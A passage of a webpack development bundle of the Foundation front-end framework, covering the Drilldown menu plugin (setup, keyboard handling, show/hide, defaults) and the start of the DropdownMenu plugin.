jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).one('mouseenter', function reenterEventHandler(eReenter) {\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(eLeave.currentTarget).has(eReenter.target).length) {\n // Fill where the mouse finally entered.\n eLeave.relatedTarget = eReenter.target;\n callback();\n }\n });\n }\n }, 0);\n };\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.core.utils.js?")},"./js/foundation.drilldown.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Drilldown\", function() { return Drilldown; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_box__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.box */ \"./js/foundation.util.box.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n/**\n * Drilldown module.\n * @module foundation.drilldown\n * @requires foundation.util.keyboard\n * @requires foundation.util.nest\n * @requires foundation.util.box\n */\n\nvar Drilldown =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(Drilldown, _Plugin);\n\n function Drilldown() {\n _classCallCheck(this, Drilldown);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(Drilldown).apply(this, arguments));\n }\n\n _createClass(Drilldown, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of a drilldown menu.\n * @class\n * @name Drilldown\n * @param {jQuery} element - jQuery object to make into an accordion menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, Drilldown.defaults, this.$element.data(), options);\n this.className = 'Drilldown'; // ie9 back compat\n\n this._init();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].register('Drilldown', {\n 'ENTER': 'open',\n 'SPACE': 'open',\n 'ARROW_RIGHT': 'next',\n 'ARROW_UP': 'up',\n 'ARROW_DOWN': 'down',\n 'ARROW_LEFT': 'previous',\n 'ESCAPE': 'close',\n 'TAB': 'down',\n 'SHIFT_TAB': 'up'\n });\n }\n /**\n * Initializes the drilldown by creating jQuery collections of elements\n * @private\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Feather(this.$element, 'drilldown');\n\n if (this.options.autoApplyClass) {\n this.$element.addClass('drilldown');\n }\n\n this.$element.attr({\n 'role': 'tree',\n 'aria-multiselectable': false\n });\n this.$submenuAnchors = this.$element.find('li.is-drilldown-submenu-parent').children('a');\n this.$submenus = this.$submenuAnchors.parent('li').children('[data-submenu]').attr('role', 'group');\n this.$menuItems = this.$element.find('li').not('.js-drilldown-back').attr('role', 'treeitem').find('a'); // Set the main menu as current by default (unless a submenu is selected)\n // Used to set the wrapper height when the drilldown is closed/reopened from any (sub)menu\n\n this.$currentMenu = this.$element;\n this.$element.attr('data-mutate', this.$element.attr('data-drilldown') || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"GetYoDigits\"])(6, 'drilldown'));\n\n this._prepareMenu();\n\n this._registerEvents();\n\n this._keyboardEvents();\n }\n /**\n * prepares drilldown menu by setting attributes to links and elements\n * sets a min height to prevent content jumping\n * wraps the element if not already wrapped\n * @private\n * @function\n */\n\n }, {\n key: \"_prepareMenu\",\n value: function _prepareMenu() {\n var _this = this; // if(!this.options.holdOpen){\n // this._menuLinkEvents();\n // }\n\n\n this.$submenuAnchors.each(function () {\n var $link = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n var $sub = $link.parent();\n\n if (_this.options.parentLink) {\n $link.clone().prependTo($sub.children('[data-submenu]')).wrap('
  • ');\n }\n\n $link.data('savedHref', $link.attr('href')).removeAttr('href').attr('tabindex', 0);\n $link.children('[data-submenu]').attr({\n 'aria-hidden': true,\n 'tabindex': 0,\n 'role': 'group'\n });\n\n _this._events($link);\n });\n this.$submenus.each(function () {\n var $menu = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $back = $menu.find('.js-drilldown-back');\n\n if (!$back.length) {\n switch (_this.options.backButtonPosition) {\n case \"bottom\":\n $menu.append(_this.options.backButton);\n break;\n\n case \"top\":\n $menu.prepend(_this.options.backButton);\n break;\n\n default:\n console.error(\"Unsupported backButtonPosition value '\" + _this.options.backButtonPosition + \"'\");\n }\n }\n\n _this._back($menu);\n });\n this.$submenus.addClass('invisible');\n\n if (!this.options.autoHeight) {\n this.$submenus.addClass('drilldown-submenu-cover-previous');\n } // create a wrapper on element if it doesn't exist.\n\n\n if (!this.$element.parent().hasClass('is-drilldown')) {\n this.$wrapper = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.wrapper).addClass('is-drilldown');\n if (this.options.animateHeight) this.$wrapper.addClass('animate-height');\n this.$element.wrap(this.$wrapper);\n } // set wrapper\n\n\n this.$wrapper = this.$element.parent();\n this.$wrapper.css(this._getMaxDims());\n }\n }, {\n key: \"_resize\",\n value: function _resize() {\n this.$wrapper.css({\n 'max-width': 'none',\n 'min-height': 'none'\n }); // _getMaxDims has side effects (boo) but calling it should update all other necessary heights & widths\n\n this.$wrapper.css(this._getMaxDims());\n }\n /**\n * Adds event handlers to elements in the menu.\n * @function\n * @private\n * @param {jQuery} $elem - the current menu item to add handlers to.\n */\n\n }, {\n key: \"_events\",\n value: function _events($elem) {\n var _this = this;\n\n $elem.off('click.zf.drilldown').on('click.zf.drilldown', function (e) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', 'li').hasClass('is-drilldown-submenu-parent')) {\n e.stopImmediatePropagation();\n e.preventDefault();\n } // if(e.target !== e.currentTarget.firstElementChild){\n // return false;\n // }\n\n\n _this._show($elem.parent('li'));\n\n if (_this.options.closeOnClick) {\n var $body = jquery__WEBPACK_IMPORTED_MODULE_0___default()('body');\n $body.off('.zf.drilldown').on('click.zf.drilldown', function (e) {\n if (e.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(_this.$element[0], e.target)) {\n return;\n }\n\n e.preventDefault();\n\n _this._hideAll();\n\n $body.off('.zf.drilldown');\n });\n }\n });\n }\n /**\n * Adds event handlers to the menu element.\n * @function\n * @private\n */\n\n }, {\n key: \"_registerEvents\",\n value: function _registerEvents() {\n if (this.options.scrollTop) {\n this._bindHandler = this._scrollTop.bind(this);\n this.$element.on('open.zf.drilldown hide.zf.drilldown closed.zf.drilldown', this._bindHandler);\n }\n\n this.$element.on('mutateme.zf.trigger', this._resize.bind(this));\n }\n /**\n * Scroll to Top of Element or data-scroll-top-element\n * @function\n * @fires Drilldown#scrollme\n */\n\n }, {\n key: \"_scrollTop\",\n value: function _scrollTop() {\n var _this = this;\n\n var $scrollTopElement = _this.options.scrollTopElement != '' ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(_this.options.scrollTopElement) : _this.$element,\n scrollPos = parseInt($scrollTopElement.offset().top + _this.options.scrollTopOffset, 10);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html, body').stop(true).animate({\n scrollTop: scrollPos\n }, _this.options.animationDuration, _this.options.animationEasing, function () {\n /**\n * Fires after the menu has scrolled\n * @event Drilldown#scrollme\n */\n if (this === jquery__WEBPACK_IMPORTED_MODULE_0___default()('html')[0]) _this.$element.trigger('scrollme.zf.drilldown');\n });\n }\n /**\n * Adds keydown event listener to `li`'s in the menu.\n * @private\n */\n\n }, {\n key: \"_keyboardEvents\",\n value: function _keyboardEvents() {\n var _this = this;\n\n this.$menuItems.add(this.$element.find('.js-drilldown-back > a, .is-submenu-parent-item > a')).on('keydown.zf.drilldown', function (e) {\n var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $elements = $element.parent('li').parent('ul').children('li').children('a'),\n $prevElement,\n $nextElement;\n $elements.each(function (i) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n $prevElement = $elements.eq(Math.max(0, i - 1));\n $nextElement = $elements.eq(Math.min(i + 1, $elements.length - 1));\n return;\n }\n });\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].handleKey(e, 'Drilldown', {\n next: function next() {\n if ($element.is(_this.$submenuAnchors)) {\n _this._show($element.parent('li'));\n\n $element.parent('li').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n $element.parent('li').find('ul li a').not('.js-drilldown-back a').first().focus();\n });\n return true;\n }\n },\n previous: function previous() {\n _this._hide($element.parent('li').parent('ul'));\n\n $element.parent('li').parent('ul').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n setTimeout(function () {\n $element.parent('li').parent('ul').parent('li').children('a').first().focus();\n }, 1);\n });\n return true;\n },\n up: function up() {\n $prevElement.focus(); // Don't tap focus on first element in root ul\n\n return !$element.is(_this.$element.find('> li:first-child > a'));\n },\n down: function down() {\n $nextElement.focus(); // Don't tap focus on last element in root ul\n\n return !$element.is(_this.$element.find('> li:last-child > a'));\n },\n close: function close() {\n // Don't close on element in root ul\n if (!$element.is(_this.$element.find('> li > a'))) {\n _this._hide($element.parent().parent());\n\n $element.parent().parent().siblings('a').focus();\n }\n },\n open: function open() {\n if (_this.options.parentLink && $element.attr('href')) {\n // Link with href\n return false;\n } else if (!$element.is(_this.$menuItems)) {\n // not menu item means back button\n _this._hide($element.parent('li').parent('ul'));\n\n $element.parent('li').parent('ul').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n setTimeout(function () {\n $element.parent('li').parent('ul').parent('li').children('a').first().focus();\n }, 1);\n });\n return true;\n } else if ($element.is(_this.$submenuAnchors)) {\n // Sub menu item\n _this._show($element.parent('li'));\n\n $element.parent('li').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n $element.parent('li').find('ul li a').not('.js-drilldown-back a').first().focus();\n });\n return true;\n }\n },\n handled: function handled(preventDefault) {\n if (preventDefault) {\n e.preventDefault();\n }\n\n e.stopImmediatePropagation();\n }\n });\n }); // end keyboardAccess\n }\n /**\n * Closes all open elements, and returns to root menu.\n * @function\n * @fires Drilldown#closed\n */\n\n }, {\n key: \"_hideAll\",\n value: function _hideAll() {\n var $elem = this.$element.find('.is-drilldown-submenu.is-active').addClass('is-closing');\n if (this.options.autoHeight) this.$wrapper.css({\n height: $elem.parent().closest('ul').data('calcHeight')\n });\n $elem.one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($elem), function (e) {\n $elem.removeClass('is-active is-closing');\n });\n /**\n * Fires when the menu is fully closed.\n * @event Drilldown#closed\n */\n\n this.$element.trigger('closed.zf.drilldown');\n }\n /**\n * Adds event listener for each `back` button, and closes open menus.\n * @function\n * @fires Drilldown#back\n * @param {jQuery} $elem - the current sub-menu to add `back` event.\n */\n\n }, {\n key: \"_back\",\n value: function _back($elem) {\n var _this = this;\n\n $elem.off('click.zf.drilldown');\n $elem.children('.js-drilldown-back').on('click.zf.drilldown', function (e) {\n e.stopImmediatePropagation(); // console.log('mouseup on back');\n\n _this._hide($elem); // If there is a parent submenu, call show\n\n\n var parentSubMenu = $elem.parent('li').parent('ul').parent('li');\n\n if (parentSubMenu.length) {\n _this._show(parentSubMenu);\n }\n });\n }\n /**\n * Adds event listener to menu items w/o submenus to close open menus on click.\n * @function\n * @private\n */\n\n }, {\n key: \"_menuLinkEvents\",\n value: function _menuLinkEvents() {\n var _this = this;\n\n this.$menuItems.not('.is-drilldown-submenu-parent').off('click.zf.drilldown').on('click.zf.drilldown', function (e) {\n // e.stopImmediatePropagation();\n setTimeout(function () {\n _this._hideAll();\n }, 0);\n });\n }\n /**\n * Sets the CSS classes for submenu to show it.\n * @function\n * @private\n * @param {jQuery} $elem - the target submenu (`ul` tag)\n * @param {boolean} trigger - trigger drilldown event\n */\n\n }, {\n key: \"_setShowSubMenuClasses\",\n value: function _setShowSubMenuClasses($elem, trigger) {\n $elem.addClass('is-active').removeClass('invisible').attr('aria-hidden', false);\n $elem.parent('li').attr('aria-expanded', true);\n\n if (trigger === true) {\n this.$element.trigger('open.zf.drilldown', [$elem]);\n }\n }\n /**\n * Sets the CSS classes for submenu to hide it.\n * @function\n * @private\n * @param {jQuery} $elem - the target submenu (`ul` tag)\n * @param {boolean} trigger - trigger drilldown event\n */\n\n }, {\n key: \"_setHideSubMenuClasses\",\n value: function _setHideSubMenuClasses($elem, trigger) {\n $elem.removeClass('is-active').addClass('invisible').attr('aria-hidden', true);\n $elem.parent('li').attr('aria-expanded', false);\n\n if (trigger === true) {\n $elem.trigger('hide.zf.drilldown', [$elem]);\n }\n }\n /**\n * Opens a specific drilldown (sub)menu no matter which (sub)menu in it is currently visible.\n * Compared to _show() this lets you jump into any submenu without clicking through every submenu on the way to it.\n * @function\n * @fires Drilldown#open\n * @param {jQuery} $elem - the target (sub)menu (`ul` tag)\n * @param {boolean} autoFocus - if true the first link in the target (sub)menu gets auto focused\n */\n\n }, {\n key: \"_showMenu\",\n value: function _showMenu($elem, autoFocus) {\n var _this = this; // Reset drilldown\n\n\n var $expandedSubmenus = this.$element.find('li[aria-expanded=\"true\"] > ul[data-submenu]');\n $expandedSubmenus.each(function (index) {\n _this._setHideSubMenuClasses(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this));\n }); // Save the menu as the currently displayed one.\n\n this.$currentMenu = $elem; // If target menu is root, focus first link & exit\n\n if ($elem.is('[data-drilldown]')) {\n if (autoFocus === true) $elem.find('li[role=\"treeitem\"] > a').first().focus();\n if (this.options.autoHeight) this.$wrapper.css('height', $elem.data('calcHeight'));\n return;\n } // Find all submenus on way to root incl. the element itself\n\n\n var $submenus = $elem.children().first().parentsUntil('[data-drilldown]', '[data-submenu]'); // Open target menu and all submenus on its way to root\n\n $submenus.each(function (index) {\n // Update height of first child (target menu) if autoHeight option true\n if (index === 0 && _this.options.autoHeight) {\n _this.$wrapper.css('height', jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('calcHeight'));\n }\n\n var isLastChild = index == $submenus.length - 1; // Add transitionsend listener to last child (root due to reverse order) to open target menu's first link\n // Last child makes sure the event gets always triggered even if going through several menus\n\n if (isLastChild === true) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this)), function () {\n if (autoFocus === true) {\n $elem.find('li[role=\"treeitem\"] > a').first().focus();\n }\n });\n }\n\n _this._setShowSubMenuClasses(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), isLastChild);\n });\n }\n /**\n * Opens a submenu.\n * @function\n * @fires Drilldown#open\n * @param {jQuery} $elem - the current element with a submenu to open, i.e. the `li` tag.\n */\n\n }, {\n key: \"_show\",\n value: function _show($elem) {\n var $submenu = $elem.children('[data-submenu]');\n $elem.attr('aria-expanded', true);\n this.$currentMenu = $submenu;\n $submenu.addClass('is-active').removeClass('invisible').attr('aria-hidden', false);\n\n if (this.options.autoHeight) {\n this.$wrapper.css({\n height: $submenu.data('calcHeight')\n });\n }\n /**\n * Fires when the submenu has opened.\n * @event Drilldown#open\n */\n\n\n this.$element.trigger('open.zf.drilldown', [$elem]);\n }\n /**\n * Hides a submenu\n * @function\n * @fires Drilldown#hide\n * @param {jQuery} $elem - the current sub-menu to hide, i.e. the `ul` tag.\n */\n\n }, {\n key: \"_hide\",\n value: function _hide($elem) {\n if (this.options.autoHeight) this.$wrapper.css({\n height: $elem.parent().closest('ul').data('calcHeight')\n });\n\n var _this = this;\n\n $elem.parent('li').attr('aria-expanded', false);\n $elem.attr('aria-hidden', true);\n $elem.addClass('is-closing').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($elem), function () {\n $elem.removeClass('is-active is-closing');\n $elem.blur().addClass('invisible');\n });\n /**\n * Fires when the submenu has closed.\n * @event Drilldown#hide\n */\n\n $elem.trigger('hide.zf.drilldown', [$elem]);\n }\n /**\n * Iterates through the nested menus to calculate the min-height, and max-width for the menu.\n * Prevents content jumping.\n * @function\n * @private\n */\n\n }, {\n key: \"_getMaxDims\",\n value: function _getMaxDims() {\n var maxHeight = 0,\n result = {},\n _this = this; // Recalculate menu heights and total max height\n\n\n this.$submenus.add(this.$element).each(function () {\n var numOfElems = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('li').length;\n var height = _foundation_util_box__WEBPACK_IMPORTED_MODULE_4__[\"Box\"].GetDimensions(this).height;\n maxHeight = height > maxHeight ? height : maxHeight;\n\n if (_this.options.autoHeight) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('calcHeight', height);\n }\n });\n if (this.options.autoHeight) result['height'] = this.$currentMenu.data('calcHeight');else result['min-height'] = \"\".concat(maxHeight, \"px\");\n result['max-width'] = \"\".concat(this.$element[0].getBoundingClientRect().width, \"px\");\n return result;\n }\n /**\n * Destroys the Drilldown Menu\n * @function\n */\n\n }, {\n key: \"_destroy\",\n value: function _destroy() {\n if (this.options.scrollTop) this.$element.off('.zf.drilldown', this._bindHandler);\n\n this._hideAll();\n\n this.$element.off('mutateme.zf.trigger');\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Burn(this.$element, 'drilldown');\n this.$element.unwrap().find('.js-drilldown-back, .is-submenu-parent-item').remove().end().find('.is-active, .is-closing, .is-drilldown-submenu').removeClass('is-active is-closing is-drilldown-submenu').end().find('[data-submenu]').removeAttr('aria-hidden tabindex role');\n this.$submenuAnchors.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).off('.zf.drilldown');\n });\n this.$element.find('[data-is-parent-link]').detach();\n this.$submenus.removeClass('drilldown-submenu-cover-previous invisible');\n this.$element.find('a').each(function () {\n var $link = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n $link.removeAttr('tabindex');\n\n if ($link.data('savedHref')) {\n $link.attr('href', $link.data('savedHref')).removeData('savedHref');\n } else {\n return;\n }\n });\n }\n }]);\n\n return Drilldown;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__[\"Plugin\"]);\n\nDrilldown.defaults = {\n /**\n * Drilldowns depend on styles in order to function properly; in the default build of Foundation these are\n * on the `drilldown` class. This option auto-applies this class to the drilldown upon initialization.\n * @option\n * @type {boolian}\n * @default true\n */\n autoApplyClass: true,\n\n /**\n * Markup used for JS generated back button. Prepended or appended (see backButtonPosition) to submenu lists and deleted on `destroy` method, 'js-drilldown-back' class required. Remove the backslash (`\\`) if copy and pasting.\n * @option\n * @type {string}\n * @default '
  • Back
  • '\n */\n backButton: '
  • Back
  • ',\n\n /**\n * Position the back button either at the top or bottom of drilldown submenus. Can be `'left'` or `'bottom'`.\n * @option\n * @type {string}\n * @default top\n */\n backButtonPosition: 'top',\n\n /**\n * Markup used to wrap drilldown menu. Use a class name for independent styling; the JS applied class: `is-drilldown` is required. Remove the backslash (`\\`) if copy and pasting.\n * @option\n * @type {string}\n * @default '
    '\n */\n wrapper: '
    ',\n\n /**\n * Adds the parent link to the submenu.\n * @option\n * @type {boolean}\n * @default false\n */\n parentLink: false,\n\n /**\n * Allow the menu to return to root list on body click.\n * @option\n * @type {boolean}\n * @default false\n */\n closeOnClick: false,\n\n /**\n * Allow the menu to auto adjust height.\n * @option\n * @type {boolean}\n * @default false\n */\n autoHeight: false,\n\n /**\n * Animate the auto adjust height.\n * @option\n * @type {boolean}\n * @default false\n */\n animateHeight: false,\n\n /**\n * Scroll to the top of the menu after opening a submenu or navigating back using the menu back button\n * @option\n * @type {boolean}\n * @default false\n */\n scrollTop: false,\n\n /**\n * String jquery selector (for example 'body') of element to take offset().top from, if empty string the drilldown menu offset().top is taken\n * @option\n * @type {string}\n * @default ''\n */\n scrollTopElement: '',\n\n /**\n * ScrollTop offset\n * @option\n * @type {number}\n * @default 0\n */\n scrollTopOffset: 0,\n\n /**\n * Scroll animation duration\n * @option\n * @type {number}\n * @default 500\n */\n animationDuration: 500,\n\n /**\n * Scroll animation easing. Can be `'swing'` or `'linear'`.\n * @option\n * @type {string}\n * @see {@link https://api.jquery.com/animate|JQuery animate}\n * @default 'swing'\n */\n animationEasing: 'swing' // holdOpen: false\n\n};\n\n\n//# sourceURL=webpack:///./js/foundation.drilldown.js?")},"./js/foundation.dropdownMenu.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"DropdownMenu\", function() { return DropdownMenu; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.util.box */ \"./js/foundation.util.box.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n/**\n * DropdownMenu module.\n * @module foundation.dropdown-menu\n * @requires foundation.util.keyboard\n * @requires foundation.util.box\n * @requires foundation.util.nest\n */\n\nvar DropdownMenu =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(DropdownMenu, _Plugin);\n\n function DropdownMenu() {\n _classCallCheck(this, DropdownMenu);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(DropdownMenu).apply(this, arguments));\n }\n\n _createClass(DropdownMenu, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of DropdownMenu.\n * @class\n * @name DropdownMenu\n * @fires DropdownMenu#init\n * @param {jQuery} element - jQuery object to make into a dropdown menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, DropdownMenu.defaults, this.$element.data(), options);\n this.className = 'DropdownMenu'; // ie9 back compat\n\n this._init();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__[\"Keyboard\"].register('DropdownMenu', {\n 'ENTER': 'open',\n 'SPACE': 'open',\n 'ARROW_RIGHT': 'next',\n 'ARROW_UP': 'up',\n 'ARROW_DOWN': 'down',\n 'ARROW_LEFT': 'previous',\n 'ESCAPE': 'close'\n });\n }\n /**\n * Initializes the plugin, and calls _prepareMenu\n * @private\n * @function\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__[\"Nest\"].Feather(this.$element, 'dropdown');\n var subs = this.$element.find('li.is-dropdown-submenu-parent');\n this.$element.children('.is-dropdown-submenu-parent').children('.is-dropdown-submenu').addClass('first-sub');\n this.$menuItems = this.$element.find('[role=\"menuitem\"]');\n this.$tabs = this.$element.children('[role=\"menuitem\"]');\n this.$tabs.find('ul.is-dropdown-submenu').addClass(this.options.verticalClass);\n\n if (this.options.alignment === 'auto') {\n if (this.$element.hasClass(this.options.rightClass) || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__[\"rtl\"])() || this.$element.parents('.top-bar-right').is('*')) {\n this.options.alignment = 'right';\n subs.addClass('opens-left');\n } else {\n this.options.alignment = 'left';\n subs.addClass('opens-right');\n }\n } else {\n if (this.options.alignment === 'right') {\n subs.addClass('opens-left');\n } else {\n subs.addClass('opens-right');\n }\n }\n\n this.changed = false;\n\n this._events();\n }\n }, {\n key: \"_isVertical\",\n value: function _isVertical() {\n return this.$tabs.css('display') === 'block' || this.$element.css('flex-direction') === 'column';\n }\n }, {\n key: \"_isRtl\",\n value: function _isRtl() {\n return this.$element.hasClass('align-right') || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__[\"rtl\"])() && !this.$element.hasClass('align-left');\n }\n /**\n * Adds event listeners to elements within the menu\n * @private\n * @function\n */\n\n }, {\n key: \"_events\",\n value: function _events() {\n var _this = this,\n hasTouch = 'ontouchstart' in window || typeof window.ontouchstart !== 'undefined',\n parClass = 'is-dropdown-submenu-parent'; // used for onClick and in the keyboard handlers\n\n\n var handleClickFn = function handleClickFn(e) {\n var $elem = 